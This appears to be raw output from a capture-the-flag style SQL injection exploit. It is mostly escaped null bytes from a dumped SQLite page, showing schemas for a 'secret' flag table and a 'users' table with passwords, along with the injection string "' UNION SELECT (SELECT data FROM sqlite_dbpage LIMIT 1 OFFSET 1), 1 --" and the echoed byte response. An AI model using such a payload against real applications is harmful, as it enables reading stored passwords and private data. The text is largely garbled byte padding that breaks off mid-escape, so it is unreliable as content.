00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Z\x03\x07\x17\x19\x19\x01\x81\x0ftablesecretsecret\x04CREATE TABLE secret (\n flag TEXT PRIMARY KEY\n )+\x04\x06\x17?\x19\x01\x00indexsqlite_autoindex_secret_1secret\x05\x7f\x01\x07\x17\x17\x17\x01\x81]tableusersusers\x02CREATE TABLE users (\n username TEXT PRIMARY KEY,\n password TEXT NOT NULL\n ))\x02\x06\x17=\x17\x01\x00indexsqlite_autoindex_users_1users\x03\x00\x00\x00\x08\x00\x00\x00\x00&amp;#39;!
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 1), 1 --
Hello, b&amp;#39;\r\x00\x00\x00\x03\x0f\xc1\x00\x0f\xed\x0f\xdb\x0f\xc1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\